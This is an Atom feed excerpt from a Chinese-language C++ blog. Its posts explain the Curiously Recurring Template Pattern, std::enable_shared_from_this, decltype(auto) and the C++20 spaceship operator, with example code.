        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/cxx-CRTP/">&lt;h1 id=&quot;cxx-crtp&quot;&gt;cxx CRTP&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;curiously-recurring-template-pattern-de-gai-nian&quot;&gt;Curiously Recurring Template Pattern 的概念&lt;&#x2F;h1&gt;
&lt;p&gt;C++ 通过类的继承与虚函数的动态绑定，实现了多态。这种特性，使得我们能够用基类的指针，访问子类的实例。例如我们可以实现一个名为 Animal 的基类，以及 Cat, Dog 等子类，并通过在子类中重载虚函数 jump，实现不同动物的跳跃动作。而后我们可以通过访问 Zoo 类的实例中存有 Animal 指针的数组，让动物园中所有的动物都跳一遍。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class Zoo {
 ...
 private:
    std::vector&amp;lt;shared_ptr&amp;lt;Animal&amp;gt;&amp;gt; animals;
 public:
    void () {
        for (auto animal : animals) {
            animal-&amp;gt;jump();
        }
    }
 ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在每次执行 animal-&amp;gt;jump() 的时候，系统会检查 animal 指向的实例实际的类型，然后调用对应类型的 jump 函数。这一步骤需要通过查询虚函数表（vtable）来实现；由于实际 animal 指向对象的类型在运行时才确定（而不是在编译时就确定），所以这种方式称为动态绑定（或者运行时绑定）。&lt;&#x2F;p&gt;
&lt;p&gt;因为每次都需要查询虚函数表，所以动态绑定会降低程序的执行效率。为了兼顾多态与效率，有人提出了 Curiously Recurring Template Pattern 的概念。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tong-guo-mo-ban-shi-xian-jing-tai-bang-ding&quot;&gt;通过模板实现静态绑定&lt;&#x2F;h1&gt;
&lt;p&gt;把派生类作为基类的模板参数：父类是一个模板类，当子类继承父类时，传入的模板类型为子类本身（这样父类就可以调用子类的相关方法了（通过this））&lt;&#x2F;p&gt;
&lt;p&gt;为了在编译时绑定，我们就需要放弃 C++ 的虚函数机制，而只是在基类和子类中实现同名的函数；同时，为了在编译时确定类型，我们就需要将子类的名字在编译时提前传给基类。因此，我们需要用到 C++ 的模板。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;

using namespace std;

template&amp;lt;typename T&amp;gt;
class Base {
 public:
    void show () const {
        static_cast&amp;lt;const T*&amp;gt;(this)-&amp;gt;show();
    }
};

class Derived: public Base&amp;lt;Derived&amp;gt; {
 public:
    &amp;#x2F;&amp;#x2F; 这里子类中如果不定义 show; 则调用show时会递归的调用Base中的show，最后爆栈!!!!
    void show () const {
        cout &amp;lt;&amp;lt; &amp;quot;Shown in Derived class.&amp;quot; &amp;lt;&amp;lt; endl;
    }
};

int main () {
    Derived d;
    Base&amp;lt;Derived&amp;gt; *b = &amp;amp;d;
    b-&amp;gt;show();
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;yong-zai-na-li&quot;&gt;用在哪里？&lt;&#x2F;h1&gt;
&lt;p&gt;现在我们考虑这样一个问题。&lt;&#x2F;p&gt;
&lt;p&gt;在使用虚函数的风格中，我们可以把 Cat &lt;em&gt;, Dog&lt;&#x2F;em&gt;... 等不同子类的指针，复制给基类的指针 Animal*，然后把基类的指针存入容器中（比如 vector&amp;lt;Animal*&amp;gt;）。但是，在 CRTP 中，我们就做不到这样了。这是因为同样是基类的指针 Animal&amp;lt;Cat&amp;gt;* 和 Animal&amp;lt;Dog&amp;gt;* 是两种完全不同的类型的指针。这样一来，我们就没法构造一个动物园了。&lt;&#x2F;p&gt;
&lt;p&gt;那么，CRTP 到底应该怎么用呢？我们不妨回过头来想一想，最初我们引入 CRTP 是为了什么。文章开头的第一段，我们提到多态是个很好的特性，但是动态绑定比较慢，因为要查虚函数表。而事实上，动态绑定慢，通常是因为多级继承；如果继承很短，那么查虚函数表的开销实际上也没多大。&lt;&#x2F;p&gt;
&lt;p&gt;在之前举出的例子里，我们运用 CRTP，完全消除了动态绑定；但与此同时，我们也在某种意义上损失了多态性。现在我们希望二者兼顾：保留多态性，同时降低多级继承带来的虚函数表查询开销。答案也很简单：让 CRTP 的模板类继承一个非模板的基类——这相当于这个非模板的基类会有多个平级的不同的子类。一个示例如下。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;

using std::cout; using std::endl;
using std::vector;

class Animal {
 public:
    virtual void say () const = 0;
    virtual ~Animal() {}
};

template &amp;lt;typename T&amp;gt;
class Animal_CRTP: public Animal {
 public:
    void say() const override {
        static_cast&amp;lt;const T*&amp;gt;(this)-&amp;gt;say();
    }
};

class Cat: public Animal_CRTP&amp;lt;Cat&amp;gt; {
 public:
    void say() const {
        cout &amp;lt;&amp;lt; &amp;quot;Amimal_CRTP:\n&amp;quot;;
        cout &amp;lt;&amp;lt; &amp;quot;Meow~ I&amp;#x27;m a cat.&amp;quot; &amp;lt;&amp;lt; endl;
    }
};

class Dog: public Animal_CRTP&amp;lt;Dog&amp;gt; {
 public:
    void say() const {
        cout &amp;lt;&amp;lt; &amp;quot;Wang~ I&amp;#x27;m a dog.&amp;quot; &amp;lt;&amp;lt; endl;
    }
};

int main () {
    vector&amp;lt;Animal*&amp;gt; zoo;
    zoo.push_back(new Cat());
    zoo.push_back(new Dog());
    &amp;#x2F;&amp;#x2F; 这里并不会调用Animal_CRTP 的say函数
    for (vector&amp;lt;Animal*&amp;gt;::const_iterator iter{zoo.begin()}; iter != zoo.end(); ++iter) {
        (*iter)-&amp;gt;say();
    }
    for (vector&amp;lt;Animal*&amp;gt;::iterator iter{zoo.begin()}; iter != zoo.end(); ++iter) {
        delete (*iter);
    }
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ying-yong&quot;&gt;应用&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;icomparable&quot;&gt;IComparable&lt;&#x2F;h2&gt;
&lt;p&gt;我们常常在Java和C的更加强大。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;iostream&amp;gt;
using namespace std;
template&amp;lt;typename T&amp;gt;
class IComparable
{
public:
    bool less(const IComparable&amp;lt;T&amp;gt;&amp;amp; b) const {
        return this-&amp;gt;lessImpl(b);
    }
    bool greater(const IComparable&amp;lt;T&amp;gt;&amp;amp; b) const {
        return b.less(*this);
    }
    bool notLess(const IComparable&amp;lt;T&amp;gt;&amp;amp; b) const {
        return !this-&amp;gt;less(b);
    }
    bool notGreater(const IComparable&amp;lt;T&amp;gt;&amp;amp; b) const {
        return !this-&amp;gt;greater(b);
    }
    bool equal(const IComparable&amp;lt;T&amp;gt;&amp;amp; b) const {
        return !this-&amp;gt;less(b) &amp;amp;&amp;amp; !this-&amp;gt;greater(b);
    }
    bool notEqual(const IComparable&amp;lt;T&amp;gt;&amp;amp; b) const {
        return !this-&amp;gt;equal(b);
    }
private:
    bool lessImpl(const IComparable&amp;lt;T&amp;gt;&amp;amp; b) const {
        return true;
    }
}; &amp;#x2F;&amp;#x2F; Need Derived to override lessImpl().
class A : public IComparable&amp;lt;A&amp;gt;
{
public:
    A(int num):N(num){}
    bool lessImpl(const A&amp;amp; b){
        return N &amp;lt; b.N;
    }
private:
    int N;
};
class B : public IComparable&amp;lt;B&amp;gt;
{
public:
    B(int num1, int num2):N1(num1), N2(num2){}
    bool lessImpl(const B&amp;amp; b){
        return N1 &amp;lt; b.N1 || N2 &amp;lt; b.N2;
    }
private:
    int N1, N2;
};
int main(){
    &amp;#x2F;&amp;#x2F;cout &amp;lt;&amp;lt; alphabeta;
    A a(5), b(10);
    cout &amp;lt;&amp;lt; a.less(b) &amp;lt;&amp;lt; endl; &amp;#x2F;&amp;#x2F; OK
    B c(5, 10), d(5, 0);
    cout &amp;lt;&amp;lt; c.greater(d) &amp;lt;&amp;lt;endl; &amp;#x2F;&amp;#x2F; OK
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码里，我首先定义了一个接口IComparable&lt;T&gt;，然后定义了一系列的比较函数，它们都直接或间接地使用了lessImpl()方法，而定义了派生类A和B之后，在类中覆盖lessImpl()
方法，并使用CRTP技术，获得IComparable&lt;T&gt;所带有的比较函数，这样，A和B就可以进行比较操作了。&lt;&#x2F;p&gt;
&lt;p&gt;对于这个例子，可以发现：生成这些操作完全是在编译期完成的，在运行期只是普通的比较，且没有任何空间开销，虽然IComparable&lt;T&gt;是空类，或者说是接口，但它是被继承的可以借助EBO,
优化空间，变为0空间开销。派生类只要写lessImpl()方法，就可以获得所有比较功能，这也是CRTP最显著的特点：&lt;&#x2F;p&gt;
&lt;p&gt;基类能够在不直接知道派生类类型的情况下，为派生类提供功能，且无任何的运行时开销。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;counter&quot;&gt;Counter&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;iostream&amp;gt;
using namespace std;
template&amp;lt;typename T&amp;gt;
class Counter
{
public:
    static size_t get(){
        return Count;   
    }
    Counter(){
        add(1);
    }
    Counter(const Counter&amp;amp; other){
        add(1);
    }
    ~Counter(){
        add(-1);
    }
private:
    static int Count;
    static void add(int n){
        Count += n;
    }
};
template&amp;lt;typename T&amp;gt;
int Counter&amp;lt;T&amp;gt;::Count = 0;
class A : public Counter&amp;lt;A&amp;gt;
{};
class B : public Counter&amp;lt;B&amp;gt;
{};
int main(){
    &amp;#x2F;&amp;#x2F; Counter&amp;lt;A&amp;gt;::add(1);  [Error] &amp;#x27;static void Counter&amp;lt;T&amp;gt;::add(int) [with T = A]&amp;#x27; is private
    A a1;
    cout &amp;lt;&amp;lt; &amp;quot;A : &amp;quot; &amp;lt;&amp;lt; Counter&amp;lt;A&amp;gt;::get() &amp;lt;&amp;lt; endl;
    {
        B b1;
        cout &amp;lt;&amp;lt; &amp;quot;B : &amp;quot; &amp;lt;&amp;lt; Counter&amp;lt;B&amp;gt;::get() &amp;lt;&amp;lt; endl;
        {
            A a2;
            cout &amp;lt;&amp;lt; &amp;quot;A : &amp;quot; &amp;lt;&amp;lt; Counter&amp;lt;A&amp;gt;::get() &amp;lt;&amp;lt; endl;
        }
        cout &amp;lt;&amp;lt; &amp;quot;A : &amp;quot; &amp;lt;&amp;lt; Counter&amp;lt;A&amp;gt;::get() &amp;lt;&amp;lt; endl;
    }
    cout &amp;lt;&amp;lt; &amp;quot;B : &amp;quot; &amp;lt;&amp;lt; Counter&amp;lt;B&amp;gt;::get() &amp;lt;&amp;lt; endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对象构造肯定会调用构造函数，析构时也会调用析构函数，我们只要在构造函数和析构函数中添加计数的代码，再让其他类继承。
在继承Counter&lt;T&gt;时，Counter&lt;T&gt;的模板参数就是派生类，同时就会实例化类模板，创建一个特定为派生类提供的计数器。
构造函数将会在派生类被构造时隐式调用，从而实现了计数。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;enable-shared-from-this&quot;&gt;enable_shared_from_this&lt;&#x2F;h2&gt;
&lt;p&gt;我们看C++标准库中，最为经典的就是enable_shared_from_this&amp;lt;T&amp;gt;。
为了实现从类中传出一个安全的shared_ptr&amp;lt;T&amp;gt;来包装this指针，并且只能对现有的类做极小的修改，对实际使用没有影响。
使用CRTP是最好的选择。通过继承enable_shared_from_this&amp;lt;T&amp;gt;，它可以自动生成派生类的传出this的方法。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;memory&amp;gt;
#include &amp;lt;iostream&amp;gt;
struct Good: std::enable_shared_from_this&amp;lt;Good&amp;gt; &amp;#x2F;&amp;#x2F; 注意：继承
{
    std::shared_ptr&amp;lt;Good&amp;gt; getptr() {
        return shared_from_this();
    }
};
struct Bad
{
    &amp;#x2F;&amp;#x2F; 错误写法：用不安全的表达式试图获得 this 的 shared_ptr 对象
    std::shared_ptr&amp;lt;Bad&amp;gt; getptr() {
        return std::shared_ptr&amp;lt;Bad&amp;gt;(this);
    }
    ~Bad() { std::cout &amp;lt;&amp;lt; &amp;quot;Bad::~Bad() called\n&amp;quot;; }
};
int main()
{
    &amp;#x2F;&amp;#x2F; 正确的示例：两个 shared_ptr 对象将会共享同一对象
    std::shared_ptr&amp;lt;Good&amp;gt; gp1 = std::make_shared&amp;lt;Good&amp;gt;();
    std::shared_ptr&amp;lt;Good&amp;gt; gp2 = gp1-&amp;gt;getptr();
    std::cout &amp;lt;&amp;lt; &amp;quot;gp2.use_count() = &amp;quot; &amp;lt;&amp;lt; gp2.use_count() &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
    &amp;#x2F;&amp;#x2F; 错误的使用示例：调用 shared_from_this 但其没有被 std::shared_ptr 占有
    try {
        Good not_so_good;
        std::shared_ptr&amp;lt;Good&amp;gt; gp1 = not_so_good.getptr();
    } catch(std::bad_weak_ptr&amp;amp; e) {
        &amp;#x2F;&amp;#x2F; C++17 前为未定义行为； C++17 起抛出 std::bad_weak_ptr 异常
        std::cout &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;    
    }
    &amp;#x2F;&amp;#x2F; 错误的示例，每个 shared_ptr 都认为自己是对象仅有的所有者
    std::shared_ptr&amp;lt;Bad&amp;gt; bp1 = std::make_shared&amp;lt;Bad&amp;gt;();
    std::shared_ptr&amp;lt;Bad&amp;gt; bp2 = bp1-&amp;gt;getptr();
    std::cout &amp;lt;&amp;lt; &amp;quot;bp2.use_count() = &amp;quot; &amp;lt;&amp;lt; bp2.use_count() &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
} &amp;#x2F;&amp;#x2F; UB ： Bad 对象将会被删除两次
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;还有就是C++20中的view_interface&lt;T&gt;，其派生类可以变成一个范围，还可以使用各种范围适配器。&lt;&#x2F;p&gt;
&lt;p&gt;由于ranges库还没有完全完成，暂无示例。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;llvm-mlir&quot;&gt;LLVM&#x2F;MLIR&lt;&#x2F;h2&gt;
&lt;p&gt;LLVM中大量使用了CRTP技术，如下随便截取一段代码：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;amespace mlir {
class Operation final
    : public llvm::ilist_node_with_parent&amp;lt;Operation, Block&amp;gt;,
      private llvm::TrailingObjects&amp;lt;Operation, BlockOperand, Region,
                                    detail::OperandStorage&amp;gt; {
public:
    &amp;#x2F;&amp;#x2F;&amp;#x2F; ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;MLIR中极其重要的数据结构之一mlir::Operation的声明处，可以看到它继承自一个模板基类。我们调到这个基类的地方：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename NodeTy, typename ParentTy, class... Options&amp;gt;
class ilist_node_with_parent : public ilist_node&amp;lt;NodeTy, Options...&amp;gt; {
protected:
  ilist_node_with_parent() = default;
 
private:
  &amp;#x2F;&amp;#x2F;&amp;#x2F; Forward to NodeTy::getParent().
  &amp;#x2F;&amp;#x2F;&amp;#x2F;
  &amp;#x2F;&amp;#x2F;&amp;#x2F; Note: do not use the name &amp;quot;getParent()&amp;quot;.  We want a compile error
  &amp;#x2F;&amp;#x2F;&amp;#x2F; (instead of recursion) when the subclass fails to implement \a
  &amp;#x2F;&amp;#x2F;&amp;#x2F; getParent().
  const ParentTy *getNodeParent() const {
    return static_cast&amp;lt;const NodeTy *&amp;gt;(this)-&amp;gt;getParent();
  }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，在getNodeParent()接口中同样存在static_cast。整个开源项目中这样的用法数不胜数。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;crtpde-yi-yi&quot;&gt;CRTP的意义&lt;&#x2F;h1&gt;
&lt;p&gt;有人喜欢称CRTP为静态多态，不完全正确。我们把CRTP和Interface做个比较，CRTP是通过模板参数获得派生类的类型，并为每个派生类都生成了一个基类，
每个派生类继承CRTP类都要将自身的类型传给基类，就发生了模板实例化，本质上并没有一个基类（接口）对多个派生类（实现）。&lt;&#x2F;p&gt;
&lt;p&gt;而对于Interface，Interface本身不知道派生类的类型，但是它有固定的方法规定，参数个数，类型，返回值，都是确定的，并且每个方法都是通过按照vtable调用的，都是指针。
这样就能真正的做到一个基类（接口）对多个派生类（实现）。&lt;&#x2F;p&gt;
&lt;p&gt;将CRTP作为快速扩展类的手段，基类可以获得到派生类的类型，提供各种操作，比普通的继承更加灵活。但CRTP基类并不会单独使用，只是作为一个模板的功能。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;lian-jie&quot;&gt;链接&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;137879448
https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;136258767&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx std::enable_shared_from_this</title>
        <published>2022-06-13T10:09:29+08:00</published>
        <updated>2022-06-13T10:09:29+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cxx-std-enable-shared-from-this/"/>
        <id>https://vercel.juzhong.asia/2022/06/cxx-std-enable-shared-from-this/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/cxx-std-enable-shared-from-this/">&lt;h1 id=&quot;cxx-std-enable-shared-from-this&quot;&gt;cxx std::enable_shared_from_this&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;c-std-enable-shared-from-this&quot;&gt;c++ std::enable_shared_from_this&lt;&#x2F;h1&gt;
&lt;p&gt;在很多应用中，我们可能希望对象永远都存在，特别是在一些异步执行的程序中，回调函数的传入是需要保证对象指针的有效性的，所以，我们一般都是传入共享指针，我们就用到了std::enable_shared_from_this，这样可以通过成员函数返回该对象的共享指针，而不会出现多个共享指针管理相同对象的问题（如果你使用了std::shared_ptr&amp;lt;T&amp;gt;(this)，那么，自然就会出现多个共享指针管理相同对象，这个是引入的根本原因）&lt;&#x2F;p&gt;
&lt;p&gt;当我们需要将对象的函数注册到其他异步执行的对象中时，我们在传入对象指针时，可以通过shared_from_this()函数返回该对象的共享指针，那么可以保证该对象不会在异步执行时就被释放，如下为c++ reference中的例子， Bad就是通过getptr()会返回多个共享指针管理相同的this指针，会出现重复释放问题&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;memory&amp;gt;
#include &amp;lt;iostream&amp;gt;
 
struct Good: std::enable_shared_from_this&amp;lt;Good&amp;gt; &amp;#x2F;&amp;#x2F; note: public inheritance
{
    std::shared_ptr&amp;lt;Good&amp;gt; getptr() {
        return shared_from_this();
    }
};
 
struct Bad
{
    std::shared_ptr&amp;lt;Bad&amp;gt; getptr() {
        return std::shared_ptr&amp;lt;Bad&amp;gt;(this);
    }
    ~Bad() { std::cout &amp;lt;&amp;lt; &amp;quot;Bad::~Bad() called\n&amp;quot;; }
};
 
int main()
{
    &amp;#x2F;&amp;#x2F; Good: the two shared_ptr&amp;#x27;s share the same object
    std::shared_ptr&amp;lt;Good&amp;gt; gp1 = std::make_shared&amp;lt;Good&amp;gt;();
    std::shared_ptr&amp;lt;Good&amp;gt; gp2 = gp1-&amp;gt;getptr();
    std::cout &amp;lt;&amp;lt; &amp;quot;gp2.use_count() = &amp;quot; &amp;lt;&amp;lt; gp2.use_count() &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
 
    &amp;#x2F;&amp;#x2F; Bad: shared_from_this is called without having std::shared_ptr owning the caller 
    try {
        Good not_so_good;
        std::shared_ptr&amp;lt;Good&amp;gt; gp1 = not_so_good.getptr();
    } catch(std::bad_weak_ptr&amp;amp; e) {
        &amp;#x2F;&amp;#x2F; undefined behavior (until C++17) and std::bad_weak_ptr thrown (since C++17)
        std::cout &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;    
    }
 
    &amp;#x2F;&amp;#x2F; Bad, each shared_ptr thinks it&amp;#x27;s the only owner of the object
    std::shared_ptr&amp;lt;Bad&amp;gt; bp1 = std::make_shared&amp;lt;Bad&amp;gt;();
    std::shared_ptr&amp;lt;Bad&amp;gt; bp2 = bp1-&amp;gt;getptr();
    std::cout &amp;lt;&amp;lt; &amp;quot;bp2.use_count() = &amp;quot; &amp;lt;&amp;lt; bp2.use_count() &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同时，在使用这个函数之前，一定要已经创一个共享指针对象，并且，这个对象没有超过生命周期，测试代码如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;memory&amp;gt;
#include &amp;lt;fstream&amp;gt;
#include &amp;lt;thread&amp;gt;
 
 
using namespace std;
 
&amp;#x2F;&amp;#x2F; 对于普通类型指针
#define PTR(X)       X*                &amp;#x2F;&amp;#x2F; 普通指针
#define CONST_PTR(X) const X*          &amp;#x2F;&amp;#x2F; 指针内容不可修改
#define PTR_CONST(X) X* const          &amp;#x2F;&amp;#x2F; 指针不可修改
#define CONST_PTR_CONST(X) const X* const &amp;#x2F;&amp;#x2F; 指针和指针内容不可修改
 
 
&amp;#x2F;&amp;#x2F; Ptr: 普通共享指针
&amp;#x2F;&amp;#x2F; ConstPtr: 不可修改内容的共享指针
&amp;#x2F;&amp;#x2F; PtrConst: 不可修改指针的共享指针，内容可以修改
&amp;#x2F;&amp;#x2F; ConstPtrConst: 只能初始化的指针，不能做任何的修改动作
#define SHARED_PTR_DEFINE(X) \
    public: \
    typedef std::shared_ptr&amp;lt;X&amp;gt; Ptr;  \
    typedef std::shared_ptr&amp;lt;const X&amp;gt; ConstPtr;  \
    typedef const std::shared_ptr&amp;lt;X&amp;gt; PtrConst; \
    typedef const std::shared_ptr&amp;lt;const X&amp;gt; ConstPtrConst;
 
 
 
typedef std::function&amp;lt;void()&amp;gt; CALLBACK;
 
class executeTestA
{
    SHARED_PTR_DEFINE(executeTestA);
 
public:
    executeTestA()
    {
    }
 
    ~executeTestA()
    {
        if(th.joinable())
        {
            th.join();
        }
    }
 
    void start(const CALLBACK&amp;amp; cb)
    {
        this-&amp;gt;callback = cb;
        th = std::thread(&amp;amp;executeTestA::run, this);
    }
 
public:
    void run()
    {
        int count = 1;
        while(true &amp;amp;&amp;amp; count &amp;lt; 100)
        {
            if(callback != nullptr)
            {
                callback();
            }
            else
            {
                std::cout &amp;lt;&amp;lt; &amp;quot;non call back&amp;quot; &amp;lt;&amp;lt; std::endl;
            }
 
            std::this_thread::sleep_for(std::chrono::seconds(1));
            count++;
        }
 
        std::cout &amp;lt;&amp;lt; &amp;quot;run exit&amp;quot; &amp;lt;&amp;lt; std::endl;
    }
private:
 
    CALLBACK callback;
    std::thread th;
};
 
class testA : public std::enable_shared_from_this&amp;lt;testA&amp;gt;
{
    SHARED_PTR_DEFINE(testA);
 
public:
    testA() : std::enable_shared_from_this&amp;lt;testA&amp;gt;()
    {
 
 
    }
 
    shared_ptr&amp;lt;testA&amp;gt; getSharedPtr()
    {
        return shared_from_this();
    }
 
    shared_ptr&amp;lt;const testA&amp;gt; getSharedPtr() const
    {
        return shared_from_this();
    }
 
public:
    void print()
    {
        std::cout &amp;lt;&amp;lt; &amp;quot;testA ==&amp;gt; &amp;quot; &amp;lt;&amp;lt;  shared_from_this().use_count() &amp;lt;&amp;lt; std::endl;
    }
 
protected: &amp;#x2F;&amp;#x2F; 或者 private:
    testA(const testA&amp;amp; a)
    {
 
    }
 
    testA&amp;amp; operator=(const testA&amp;amp; a)
    {
 
    }
};
 
 
 
class testB
{
    testB(const testA::Ptr&amp;amp; a1) : a(a1)
    {
    }
private:
    testA::Ptr a;
};
 
int main()
{
    cout &amp;lt;&amp;lt; &amp;quot;Hello World!&amp;quot; &amp;lt;&amp;lt; endl;
 
 
    testA::Ptr ptr(new testA()); &amp;#x2F;&amp;#x2F; ok 
    &amp;#x2F;&amp;#x2F;    PTR(testA) ptr(new testA()); &amp;#x2F;&amp;#x2F; error 
    &amp;#x2F;&amp;#x2F;    executeTestA::Ptr execute(new executeTestA);
    &amp;#x2F;&amp;#x2F;    execute-&amp;gt;start(std::bind(&amp;amp;testA::print, ptr));
    &amp;#x2F;&amp;#x2F;    PTR(testA) ptr(new testA);

    ptr-&amp;gt;print();  
    &amp;#x2F;&amp;#x2F;    std::ofstream ofstr(&amp;quot;&amp;#x2F;home&amp;#x2F;hsw&amp;#x2F;test.txt&amp;quot;, std::ios_base::out | std::ios_base::binary);
    &amp;#x2F;&amp;#x2F;    print(ofstr);
 
    while(true)
    {
        std::this_thread::sleep_for(std::chrono::seconds(1));
    }
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>decltype auto</title>
        <published>2022-06-12T13:50:52+08:00</published>
        <updated>2022-06-12T13:50:52+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/decltype-auto/"/>
        <id>https://vercel.juzhong.asia/2022/06/decltype-auto/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/decltype-auto/">&lt;h1 id=&quot;decltype-auto&quot;&gt;decltype auto&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;decltype&quot;&gt;decltype&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;decltype(auto) foo(auto t1, auto t2) {
    return t1+t2;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;int x = 1;
int main() {
    int xx = 11;
    decltype(x) xr = x;
    decltype(xx) xxr = xx;
    decltype(x) xr = x;
    decltype(xx) xxr = xx;
    xr = 2;
    xxr = 12;
    cout &amp;lt;&amp;lt; &amp;quot;x:&amp;quot; &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &amp;quot;\txr:&amp;quot; &amp;lt;&amp;lt; xr &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;xx:&amp;quot; &amp;lt;&amp;lt; xx &amp;lt;&amp;lt; &amp;quot;\txxr:&amp;quot; &amp;lt;&amp;lt; xxr &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;

    decltype((x)) qxr = x;
    decltype((xx)) qxxr = xx;
    qxr = 10001;
    qxxr  = 10011;
    cout &amp;lt;&amp;lt; &amp;quot;x:&amp;quot; &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &amp;quot;\tqxr:&amp;quot; &amp;lt;&amp;lt; qxr &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;xx:&amp;quot; &amp;lt;&amp;lt; xx &amp;lt;&amp;lt; &amp;quot;\tqxxr:&amp;quot; &amp;lt;&amp;lt; qxxr &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;
    return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>spaceship operator</title>
        <published>2022-06-11T22:24:41+08:00</published>
        <updated>2022-06-11T22:24:41+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/spaceship-operator/"/>
        <id>https://vercel.juzhong.asia/2022/06/spaceship-operator/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/spaceship-operator/">&lt;h1 id=&quot;spaceship-operator&quot;&gt;spaceship operator&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;operator-for-c-20&quot;&gt;operator&amp;lt;=&amp;gt; for C++20&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;bool operator&amp;lt;(const Name&amp;amp; other) const {
  &amp;#x2F;&amp;#x2F;before c++11
  return first_name&amp;lt;other.first_name
      || first_name == other.first_name &amp;amp;&amp;amp; mid_name &amp;lt; other.mid_name
      || first_name == other.first_name &amp;amp;&amp;amp; mid_name == other.mid_name &amp;amp;&amp;amp; last_name &amp;lt; other.last_name;

  &amp;#x2F;&amp;#x2F;after c++11
  return std::tie(first_name, mid_name, last_name) &amp;lt; 
      std::tie(other.first_name, other.mid_name, other.last_name);
}

&amp;#x2F;&amp;#x2F; c++20
std::strong_ordering operator&amp;lt;=&amp;gt;(const Name&amp;amp;) const = default;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;operator&amp;lt;=&amp;gt;的返回值不是int，而是定义成一些enum，像我上面举的那个Name的例子，返回值类型是strong_ordering，全部可能的返回值类型和其enum对应的值如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;spaceship-operator&#x2F;image-20231225112314-8939e6p.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
